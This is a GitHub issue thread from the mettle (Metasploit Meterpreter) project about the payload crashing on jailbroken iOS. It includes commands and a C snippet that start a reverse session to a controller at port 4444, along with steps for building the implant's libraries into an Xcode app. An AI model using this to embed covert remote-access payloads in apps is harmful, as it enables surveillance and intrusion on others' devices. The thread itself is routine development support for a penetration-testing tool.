Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

a few things crash mettle on iOS 7.1.2 as root #66

Open
busterb opened this issue Mar 21, 2017 · 6 comments
Open

a few things crash mettle on iOS 7.1.2 as root #66

busterb opened this issue Mar 21, 2017 · 6 comments

Comments

@busterb
Copy link
Contributor

busterb commented Mar 21, 2017

These things work on macOS, but crash on my iPhone 4 with iOS 7.1.2:

webcam_* operations die with a SIGSEGV

iPhone:~ root# /tmp/mettle -u tcp://192.168.22.10:4444
2017-03-21 02:06:14.672 mettle[281:507] Warning: bundleIdentifer is nil!
Segmentation fault: 11

ps dies with a SIGKILL

iPhone:~ root# /tmp/mettle -u tcp://192.168.22.10:4444
Killed: 9
@timwr
Copy link
Contributor

timwr commented Mar 22, 2017

I have not tried as root yet. I was just adding the build/*-iphone-darwin/lib libraries to an xcode project and running it on a non-jailbroken device with this:

struct mettle *m = mettle();
if (m) {
        log_set_level(2);
        log_init_file(stderr);
        log_init_flush_thread();
        mettle_add_transport_uri(m, "tcp://IPADDR:4444");
        mettle_start(m);
        mettle_free(m);
}

On 9.3.4 the ps command fails with operation not permitted. On 7.1.2 it works fine. The webcam_ commands work on both.

@timwr timwr changed the title a few things crash mettle on iOS 7.1.2 a few things crash mettle on iOS 7.1.2 as root May 13, 2017
@doktordos
Copy link

doktordos commented Apr 6, 2018

@timwr : Could you explain how you got mettle to work by simply adding the static libs? Did you also include the header files and what did you import in the bridging header? Thanks a lot in advance.

Btw. I'm trying my luck on iOS 11.3

@timwr
Copy link
Contributor

timwr commented Apr 7, 2018

@doktordos it's a bit fiddly, first build mettle make TARGET=aarch64-iphone-darwin
then add:
mettle/build/aarch64-iphone-darwin/include
as a header path in xcode.
Then you'll need to add all the .a files in mettle/build/aarch64-iphone-darwin/lib
Finally, disable bitcode, and include CoreMedia, CoreImage, CoreGraphics and AVFoundation, and it should build.
You can ping me metasploit.slack.com if you get stuck

@timwr
Copy link
Contributor

timwr commented Apr 7, 2018

@doktordos
Copy link

@ timwr: The steps you described worked just fine and without your code snippet from above Xcode builds without any errors. But when I paste the snippet in Xcode it complains with the following error:

Implicit declaration of function 'mettle' is invalid in C99

I googled the error and this seems to be related to not finding the appropriate header files.
Therefore I searched all files in "include" with notepad++ for the phrase "mettle" and got zero results.
Am I missing some other header files or an import statement at the top of the actual code?

Attached you can find some screenshots:
screen shot 2018-04-07 at 15 43 25
screen shot 2018-04-07 at 16 11 41
screen shot 2018-04-07 at 16 12 26
screen shot 2018-04-07 at 16 12 45

@timwr
Copy link
Contributor

timwr commented Apr 9, 2018

You need to include mettle.h
Join slack, GitHub isn't the best place for support.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants